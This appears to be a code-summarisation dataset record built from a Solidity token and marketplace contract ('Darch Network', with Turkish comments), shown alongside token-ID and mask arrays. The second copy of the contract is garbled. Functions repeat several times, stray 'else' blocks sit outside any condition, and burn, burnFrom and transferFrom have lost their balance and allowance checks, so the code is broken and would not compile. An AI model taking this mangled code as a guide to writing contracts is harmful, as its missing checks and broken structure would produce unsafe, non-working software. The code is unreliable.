1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
6862,
202,
11890,
5034,
400,
273,
20501,
1435,
300,
11013,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity >=0.4.22 <0.6.0;
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes calldata _extraData) external;
}
contract DarchNetwork {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
address payable public fundsWallet;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed from, uint256 value);
constructor(
uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol
) public {
initialSupply = 1000000000;
tokenName = "Darch Network";
tokenSymbol = "DARCH";
fundsWallet = msg.sender;
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0x0));
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (_i != 0) {
bstr[k--] = byte(uint8(48 + _i % 10));
_i /= 10;
}
return string(bstr);
}
uint private productId;
function getProductID() private returns (uint256) {
return productId++;
}
uint private requestID;
function getRequestID() private returns (uint256) {
return requestID++;
}
struct productDetails {
uint time;
string headline;
string explain;
string imagelist;
string showdemo;
string category;
address senderaddress;
uint256 pid;
uint256 price;
}
mapping (string => productDetails) newProduct;
string[] public listofproducts;
function SharenewProduct(string memory uHeadline, string memory uExplain, string memory uImageList, string memory uShowDemo,string memory uCate, uint uPrice, string memory pname) public {
uint256 newpid = getProductID();
newProduct[pname].time = now;
newProduct[pname].senderaddress = msg.sender;
newProduct[pname].headline = uHeadline;
newProduct[pname].explain = uExplain;
newProduct[pname].imagelist = uImageList;
newProduct[pname].showdemo = uShowDemo;
newProduct[pname].category = uCate;
newProduct[pname].pid = newpid;
newProduct[pname].price = uPrice;
listofproducts.push(pname) -1;
}
function numberofProduct() view public returns (uint) {
return listofproducts.length;
}
function getpnamefromid(uint _pid) view public returns (string memory){
return listofproducts[_pid];
}
function getProductFromName(string memory pname) view public returns (string memory, string memory,string memory, string memory, string memory, string memory, string memory) {
if(newProduct[pname].time == 0){
return ("0", "0", "0","0","0","0","0");
} else {
return (uint2str(newProduct[pname].time), uint2str(newProduct[pname].price), newProduct[pname].headline, newProduct[pname].explain, newProduct[pname].imagelist, newProduct[pname].showdemo, newProduct[pname].category);
}
}
function checkProductExist(string memory pname) view public returns (bool) {
if(newProduct[pname].time == 0){
return false;
} else {
return true;
}
}
struct Requesters {
bool exists;
uint256 ptime;
string publicKey;
address rqaddress;
}
mapping(string => Requesters[]) rlist;
mapping (string => bool) public RWlist;
string[] public listofrequests;
function checkWalletexist(string memory _wallet) view public returns (bool){
return RWlist[_wallet];
}
function setNewRequest(string memory pname, string memory pubkey) public returns (uint) {
bool checkProduct = checkProductExist(pname);
if(checkProduct){
string memory wid = appendString(WallettoString(msg.sender),pname);
bool cwallet = checkWalletexist(wid);
if(cwallet){
revert();
} else {
if(balanceOf[msg.sender] >= newProduct[pname].price) {
transfer(fundsWallet, newProduct[pname].price);
RWlist[wid]=true;
rlist[pname].push(Requesters(true,now, pubkey, msg.sender));
listofproducts.push(wid) -1;
return rlist[pname].length - 1;
} else {
revert();
}
}
} else {
revert();
}
}
function num_of_request() view public returns (uint) {
return listofproducts.length;
}
function get_product_from_pid(uint _listid) view public returns (string memory){
return listofproducts[_listid];
}
function num_of_product_requests(string memory key) public view returns (uint) {
return rlist[key].length;
}
function get_public_key(string memory key, uint index) public view returns (string memory) {
if (rlist[key][index].exists == false) {
assert(false);
}
return rlist[key][index].publicKey;
}
struct TransmitProduct {
bool exists;
bool status;
uint256 ptime;
string signedMessage;
address forwho;
}
mapping(string => TransmitProduct[]) responseList;
mapping (string => bool) public BWlist;
string[] public listoftransmits;
function checkBWalletexist(string memory _walletandid) view public returns (bool){
return BWlist[_walletandid];
}
function WallettoString(address x) public returns(string memory) {
bytes memory b = new bytes(20);
for (uint i = 0; i < 20; i++)
b[i] = byte(uint8(uint(x) / (2**(8*(19 - i)))));
return string(b);
}
function appendString(string memory a, string memory b) internal pure returns (string memory) {
return string(abi.encodePacked(a, b));
}
function setTransmitProduct(string memory pname, uint index, string memory smessage) payable public {
bool checkProduct = checkProductExist(pname);
if(checkProduct){
address radress = rlist[pname][index].rqaddress;
string memory wid = appendString(WallettoString(radress),pname);
bool cwallet = checkBWalletexist(wid);
if(cwallet){
//Buraya geliyorsa daha önce zaten göndermiş demektir.
revert();
} else {
if(msg.sender == newProduct[pname].senderaddress){
require(balanceOf[fundsWallet] >= newProduct[pname].price);
_transfer(fundsWallet, msg.sender, newProduct[pname].price);
BWlist[wid]=true;
//Sadece alıcının çözüleceği şekilde istek şifrelenerek blockchaine yükleniyor.
responseList[pname].push(TransmitProduct(true, true, now, smessage, radress));
listoftransmits.push(wid) -1;
} else {
revert();
}
}
} else {
revert();
}
}
function cancelTransmitProduct(string memory pname, uint index) public {
bool checkProduct = checkProductExist(pname);
if(checkProduct){
address radress = rlist[pname][index].rqaddress;
string memory wid = appendString(WallettoString(radress),pname);
bool cwallet = checkBWalletexist(wid);
if(cwallet){
//Buraya geliyorsa daha önce zaten göndermiş demektir.
revert();
} else {
//Eğer önceden gönderim yapılmamışsa burası çalışır.
//rqaddress
if(msg.sender == rlist[pname][index].rqaddress){
//Sadece o ürüne istek gönderen kişi iptal edebilir.
//coin kontrattan iptal edene iletiliyor.
require(balanceOf[fundsWallet] >= newProduct[pname].price);
_transfer(fundsWallet,msg.sender,newProduct[pname].price);
BWlist[wid]=true;
//status false olması ürünün iptal edildiği anlamına geliyor.
//Gönderici parasını alıyor ve ürün
responseList[pname].push(TransmitProduct(true, false, now, "canceled", radress));
listoftransmits.push(wid) -1;
} else {
revert();
}
}
} else {
revert();
}
}
function num_of_transmit() view public returns (uint) {
return listoftransmits.length;
}
function get_transmits_from_pid(uint _listid) view public returns (string memory){
return listoftransmits[_listid];
}
function num_of_product_transmit(string memory _pid) public view returns (uint) {
return responseList[_pid].length;
}
function getTransmits(string memory _pid, uint index) public view returns (address) {
if (responseList[_pid][index].exists == false) {
assert(false);
}
return rlist[_pid][index].rqaddress;
}
function() payable external{
uint256 yirmimart = 1553040000;
uint256 onnisan = 1554854400;
uint256 birmayis = 1556668800;
uint256 yirmimayis = 1558310400;
uint256 onhaziran = 1560124800;
if(yirmimart > now) {
require(balanceOf[fundsWallet] >= msg.value * 100);
_transfer(fundsWallet, msg.sender, msg.value * 100);
fundsWallet.transfer(msg.value);
} else if(yirmimart < now && onnisan > now) {
require(balanceOf[fundsWallet] >= msg.value * 15000);
_transfer(fundsWallet, msg.sender, msg.value * 15000);
fundsWallet.transfer(msg.value);
} else if(onnisan < now && birmayis > now) {
require(balanceOf[fundsWallet] >= msg.value * 12000);
_transfer(fundsWallet, msg.sender, msg.value * 12000);
fundsWallet.transfer(msg.value);
}else if(birmayis < now && yirmimayis > now) {
require(balanceOf[fundsWallet] >= msg.value * 10000);
_transfer(fundsWallet, msg.sender, msg.value * 10000);
fundsWallet.transfer(msg.value);
}else if(yirmimayis < now && onhaziran > now) {
require(balanceOf[fundsWallet] >= msg.value * 7500);
_transfer(fundsWallet, msg.sender, msg.value * 7500);
fundsWallet.transfer(msg.value);
} else {
assert(false);
}
}
}
|
Public variables of the token
|
contract DarchNetwork {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
address payable public fundsWallet;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed from, uint256 value);
constructor(
uint256 initialSupply,
string memory tokenName,
string memory tokenSymbol
) public {
initialSupply = 1000000000;
tokenName = "Darch Network";
tokenSymbol = "DARCH";
fundsWallet = msg.sender;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0x0));
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
emit Burn(_from, _value);
return true;
}
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (_i != 0) {
bstr[k--] = byte(uint8(48 + _i % 10));
_i /= 10;
}
return string(bstr);
}
uint private productId;
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (_i != 0) {
bstr[k--] = byte(uint8(48 + _i % 10));
_i /= 10;
}
return string(bstr);
}
uint private productId;
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (_i != 0) {
bstr[k--] = byte(uint8(48 + _i % 10));
_i /= 10;
}
return string(bstr);
}
uint private productId;
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (_i != 0) {
bstr[k--] = byte(uint8(48 + _i % 10));
_i /= 10;
}
return string(bstr);
}
uint private productId;
function getProductID() private returns (uint256) {
return productId++;
}
uint private requestID;
function getRequestID() private returns (uint256) {
return requestID++;
}
struct productDetails {
uint time;
string headline;
string explain;
string imagelist;
string showdemo;
string category;
address senderaddress;
uint256 pid;
uint256 price;
}
mapping (string => productDetails) newProduct;
string[] public listofproducts;
function SharenewProduct(string memory uHeadline, string memory uExplain, string memory uImageList, string memory uShowDemo,string memory uCate, uint uPrice, string memory pname) public {
uint256 newpid = getProductID();
newProduct[pname].time = now;
newProduct[pname].senderaddress = msg.sender;
newProduct[pname].headline = uHeadline;
newProduct[pname].explain = uExplain;
newProduct[pname].imagelist = uImageList;
newProduct[pname].showdemo = uShowDemo;
newProduct[pname].category = uCate;
newProduct[pname].pid = newpid;
newProduct[pname].price = uPrice;
listofproducts.push(pname) -1;
}
function numberofProduct() view public returns (uint) {
return listofproducts.length;
}
function getpnamefromid(uint _pid) view public returns (string memory){
return listofproducts[_pid];
}
function getProductFromName(string memory pname) view public returns (string memory, string memory,string memory, string memory, string memory, string memory, string memory) {
if(newProduct[pname].time == 0){
return ("0", "0", "0","0","0","0","0");
return (uint2str(newProduct[pname].time), uint2str(newProduct[pname].price), newProduct[pname].headline, newProduct[pname].explain, newProduct[pname].imagelist, newProduct[pname].showdemo, newProduct[pname].category);
}
}
function getProductFromName(string memory pname) view public returns (string memory, string memory,string memory, string memory, string memory, string memory, string memory) {
if(newProduct[pname].time == 0){
return ("0", "0", "0","0","0","0","0");
return (uint2str(newProduct[pname].time), uint2str(newProduct[pname].price), newProduct[pname].headline, newProduct[pname].explain, newProduct[pname].imagelist, newProduct[pname].showdemo, newProduct[pname].category);
}
}
} else {
function checkProductExist(string memory pname) view public returns (bool) {
if(newProduct[pname].time == 0){
return false;
return true;
}
}
function checkProductExist(string memory pname) view public returns (bool) {
if(newProduct[pname].time == 0){
return false;
return true;
}
}
} else {
struct Requesters {
bool exists;
uint256 ptime;
string publicKey;
address rqaddress;
}
mapping(string => Requesters[]) rlist;
mapping (string => bool) public RWlist;
string[] public listofrequests;
function checkWalletexist(string memory _wallet) view public returns (bool){
return RWlist[_wallet];
}
function setNewRequest(string memory pname, string memory pubkey) public returns (uint) {
bool checkProduct = checkProductExist(pname);
if(checkProduct){
string memory wid = appendString(WallettoString(msg.sender),pname);
bool cwallet = checkWalletexist(wid);
if(cwallet){
revert();
if(balanceOf[msg.sender] >= newProduct[pname].price) {
transfer(fundsWallet, newProduct[pname].price);
RWlist[wid]=true;
rlist[pname].push(Requesters(true,now, pubkey, msg.sender));
listofproducts.push(wid) -1;
return rlist[pname].length - 1;
revert();
}
}
revert();
}
}
function setNewRequest(string memory pname, string memory pubkey) public returns (uint) {
bool checkProduct = checkProductExist(pname);
if(checkProduct){
string memory wid = appendString(WallettoString(msg.sender),pname);
bool cwallet = checkWalletexist(wid);
if(cwallet){
revert();
if(balanceOf[msg.sender] >= newProduct[pname].price) {
transfer(fundsWallet, newProduct[pname].price);
RWlist[wid]=true;
rlist[pname].push(Requesters(true,now, pubkey, msg.sender));
listofproducts.push(wid) -1;
return rlist[pname].length - 1;
revert();
}
}
revert();
}
}
function setNewRequest(string memory pname, string memory pubkey) public returns (uint) {
bool checkProduct = checkProductExist(pname);
if(checkProduct){
string memory wid = appendString(WallettoString(msg.sender),pname);
bool cwallet = checkWalletexist(wid);
if(cwallet){
revert();
if(balanceOf[msg.sender] >= newProduct[pname].price) {
transfer(fundsWallet, newProduct[pname].price);
RWlist[wid]=true;
rlist[pname].push(Requesters(true,now, pubkey, msg.sender));
listofproducts.push(wid) -1;
return rlist[pname].length - 1;
revert();
}
}
revert();
}
}
} else {
function setNewRequest(string memory pname, string memory pubkey) public returns (uint) {
bool checkProduct = checkProductExist(pname);
if(checkProduct){
string memory wid = appendString(WallettoString(msg.sender),pname);
bool cwallet = checkWalletexist(wid);
if(cwallet){
revert();
if(balanceOf[msg.sender] >= newProduct[pname].price) {
transfer(fundsWallet, newProduct[pname].price);
RWlist[wid]=true;
rlist[pname].push(Requesters(true,now, pubkey, msg.sender));
listofproducts.push(wid) -1;
return rlist[pname].length - 1;
revert();
}
}
revert();
}
}
} else {
} else {
function num_of_request() view public returns (uint) {
return listofproducts.length;
}
function get_product_from_pid(uint _listid) view public returns (string memory){
return listofproducts[_listid];
}
function num_of_product_requests(string memory key) public view returns (uint) {
return rlist[key].length;
}
function get_public_key(string memory key, uint index) public view returns (string memory) {
if (rlist[key][index].exists == false) {
assert(false);
}
return rlist[key][index].publicKey;
}
function get_public_key(string memory key, uint index) public view returns (string memory) {
if (rlist[key][index].exists == false) {
assert(false);
}
return rlist[key][index].publicKey;
}
struct TransmitProduct {
bool exists;
bool status;
uint256 ptime;
string signedMessage;
address forwho;
}
mapping(string => TransmitProduct[]) responseList;
mapping (string => bool) public BWlist;
string[] public listoftransmits;
function checkBWalletexist(string memory _walletandid) view public returns (bool){
return BWlist[_walletandid];
}
function WallettoString(address x) public returns(string memory) {
bytes memory b = new bytes(20);
for (uint i = 0; i < 20; i++)
b[i] = byte(uint8(uint(x) / (2**(8*(19 - i)))));
return string(b);
}
function appendString(string memory a, string memory b) internal pure returns (string memory) {
return string(abi.encodePacked(a, b));
}
function setTransmitProduct(string memory pname, uint index, string memory smessage) payable public {
bool checkProduct = checkProductExist(pname);
if(checkProduct){
address radress = rlist[pname][index].rqaddress;
string memory wid = appendString(WallettoString(radress),pname);
bool cwallet = checkBWalletexist(wid);
if(cwallet){
revert();
if(msg.sender == newProduct[pname].senderaddress){
require(balanceOf[fundsWallet] >= newProduct[pname].price);
_transfer(fundsWallet, msg.sender, newProduct[pname].price);
BWlist[wid]=true;
responseList[pname].push(TransmitProduct(true, true, now, smessage, radress));
listoftransmits.push(wid) -1;
revert();
}
}
revert();
}
}
function setTransmitProduct(string memory pname, uint index, string memory smessage) payable public {
bool checkProduct = checkProductExist(pname);
if(checkProduct){
address radress = rlist[pname][index].rqaddress;
string memory wid = appendString(WallettoString(radress),pname);
bool cwallet = checkBWalletexist(wid);
if(cwallet){
revert();
if(msg.sender == newProduct[pname].senderaddress){
require(balanceOf[fundsWallet] >= newProduct[pname].price);
_transfer(fundsWallet, msg.sender, newProduct[pname].price);
BWlist[wid]=true;
responseList[pname].push(TransmitProduct(true, true, now, smessage, radress));
listoftransmits.push(wid) -1;
revert();
}
}
revert();
}
}
function setTransmitProduct(string memory pname, uint index, string memory smessage) payable public {
bool checkProduct = checkProductExist(pname);
if(checkProduct){
address radress = rlist[pname][index].rqaddress;
string memory wid = appendString(WallettoString(radress),pname);
bool cwallet = checkBWalletexist(wid);
if(cwallet){
revert();
if(msg.sender == newProduct[pname].senderaddress){
require(balanceOf[fundsWallet] >= newProduct[pname].price);
_transfer(fundsWallet, msg.sender, newProduct[pname].price);
BWlist[wid]=true;
responseList[pname].push(TransmitProduct(true, true, now, smessage, radress));
listoftransmits.push(wid) -1;
revert();
}
}
revert();
}
}
} else {
function setTransmitProduct(string memory pname, uint index, string memory smessage) payable public {
bool checkProduct = checkProductExist(pname);
if(checkProduct){
address radress = rlist[pname][index].rqaddress;
string memory wid = appendString(WallettoString(radress),pname);
bool cwallet = checkBWalletexist(wid);
if(cwallet){
revert();
if(msg.sender == newProduct[pname].senderaddress){
require(balanceOf[fundsWallet] >= newProduct[pname].price);
_transfer(fundsWallet, msg.sender, newProduct[pname].price);
BWlist[wid]=true;
responseList[pname].push(TransmitProduct(true, true, now, smessage, radress));
listoftransmits.push(wid) -1;
revert();
}
}
revert();
}
}
} else {
} else {
function cancelTransmitProduct(string memory pname, uint index) public {
bool checkProduct = checkProductExist(pname);
if(checkProduct){
address radress = rlist[pname][index].rqaddress;
string memory wid = appendString(WallettoString(radress),pname);
bool cwallet = checkBWalletexist(wid);
if(cwallet){
revert();
if(msg.sender == rlist[pname][index].rqaddress){
require(balanceOf[fundsWallet] >= newProduct[pname].price);
_transfer(fundsWallet,msg.sender,newProduct[pname].price);
BWlist[wid]=true;
responseList[pname].push(TransmitProduct(true, false, now, "canceled", radress));
listoftransmits.push(wid) -1;
revert();
}
}
revert();
}
}
function cancelTransmitProduct(string memory pname, uint index) public {
bool checkProduct = checkProductExist(pname);
if(checkProduct){
address radress = rlist[pname][index].rqaddress;
string memory wid = appendString(WallettoString(radress),pname);
bool cwallet = checkBWalletexist(wid);
if(cwallet){
revert();
if(msg.sender == rlist[pname][index].rqaddress){
require(balanceOf[fundsWallet] >= newProduct[pname].price);
_transfer(fundsWallet,msg.sender,newProduct[pname].price);
BWlist[wid]=true;
responseList[pname].push(TransmitProduct(true, false, now, "canceled", radress));
listoftransmits.push(wid) -1;
revert();
}
}
revert();
}
}
function cancelTransmitProduct(string memory pname, uint index) public {
bool checkProduct = checkProductExist(pname);
if(checkProduct){
address radress = rlist[pname][index].rqaddress;
string memory wid = appendString(WallettoString(radress),pname);
bool cwallet = checkBWalletexist(wid);
if(cwallet){
revert();
if(msg.sender == rlist[pname][index].rqaddress){
require(balanceOf[fundsWallet] >= newProduct[pname].price);
_transfer(fundsWallet,msg.sender,newProduct[pname].price);
BWlist[wid]=true;
responseList[pname].push(TransmitProduct(true, false, now, "canceled", radress));
listoftransmits.push(wid) -1;
revert();
}
}
revert();
}
}
} else {
function cancelTransmitProduct(string memory pname, uint index) public {
bool checkProduct = checkProductExist(pname);
if(checkProduct){
address radress = rlist[pname][index].rqaddress;
string memory wid = appendString(WallettoString(radress),pname);
bool cwallet = checkBWalletexist(wid);
if(cwallet){
revert();
if(msg.sender == rlist[pname][index].rqaddress){
require(balanceOf[fundsWallet] >= newProduct[pname].price);
_transfer(fundsWallet,msg.sender,newProduct[pname].price);
BWlist[wid]=true;
responseList[pname].push(TransmitProduct(true, false, now, "canceled", radress));
listoftransmits.push(wid) -1;
revert();
}
}
revert();
}
}
} else {
} else {
function num_of_transmit() view public returns (uint) {
return listoftransmits.length;
}
function get_transmits_from_pid(uint _listid) view public returns (string memory){
return listoftransmits[_listid];
}
function num_of_product_transmit(string memory _pid) public view returns (uint) {
return responseList[_pid].length;
}
function getTransmits(string memory _pid, uint index) public view returns (address) {
if (responseList[_pid][index].exists == false) {
assert(false);
}
return rlist[_pid][index].rqaddress;
}
function getTransmits(string memory _pid, uint index) public view returns (address) {
if (responseList[_pid][index].exists == false) {
assert(false);
}
return rlist[_pid][index].rqaddress;
}
function() payable external{
uint256 yirmimart = 1553040000;
uint256 onnisan = 1554854400;
uint256 birmayis = 1556668800;
uint256 yirmimayis = 1558310400;
uint256 onhaziran = 1560124800;
if(yirmimart > now) {
require(balanceOf[fundsWallet] >= msg.value * 100);
_transfer(fundsWallet, msg.sender, msg.value * 100);
fundsWallet.transfer(msg.value);
require(balanceOf[fundsWallet] >= msg.value * 15000);
_transfer(fundsWallet, msg.sender, msg.value * 15000);
fundsWallet.transfer(msg.value);
require(balanceOf[fundsWallet] >= msg.value * 12000);
_transfer(fundsWallet, msg.sender, msg.value * 12000);
fundsWallet.transfer(msg.value);
require(balanceOf[fundsWallet] >= msg.value * 10000);
_transfer(fundsWallet, msg.sender, msg.value * 10000);
fundsWallet.transfer(msg.value);
require(balanceOf[fundsWallet] >= msg.value * 7500);
_transfer(fundsWallet, msg.sender, msg.value * 7500);
fundsWallet.transfer(msg.value);
assert(false);
}
}
function() payable external{
uint256 yirmimart = 1553040000;
uint256 onnisan = 1554854400;
uint256 birmayis = 1556668800;
uint256 yirmimayis = 1558310400;
uint256 onhaziran = 1560124800;
if(yirmimart > now) {
require(balanceOf[fundsWallet] >= msg.value * 100);
_transfer(fundsWallet, msg.sender, msg.value * 100);
fundsWallet.transfer(msg.value);
require(balanceOf[fundsWallet] >= msg.value * 15000);
_transfer(fundsWallet, msg.sender, msg.value * 15000);
fundsWallet.transfer(msg.value);
require(balanceOf[fundsWallet] >= msg.value * 12000);
_transfer(fundsWallet, msg.sender, msg.value * 12000);
fundsWallet.transfer(msg.value);
require(balanceOf[fundsWallet] >= msg.value * 10000);
_transfer(fundsWallet, msg.sender, msg.value * 10000);
fundsWallet.transfer(msg.value);
require(balanceOf[fundsWallet] >= msg.value * 7500);
_transfer(fundsWallet, msg.sender, msg.value * 7500);
fundsWallet.transfer(msg.value);
assert(false);
}
}
} else if(yirmimart < now && onnisan > now) {
} else if(onnisan < now && birmayis > now) {
}else if(birmayis < now && yirmimayis > now) {
}else if(yirmimayis < now && onhaziran > now) {
} else {
}
| 6,449,727 |
[
1,
4782,
3152,
434,
326,
1147,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
463,
991,
3906,
288,
203,
565,
533,
1071,
508,
31,
203,
565,
533,
1071,
3273,
31,
203,
565,
2254,
28,
1071,
15105,
273,
6549,
31,
203,
565,
2254,
5034,
1071,
2078,
3088,
1283,
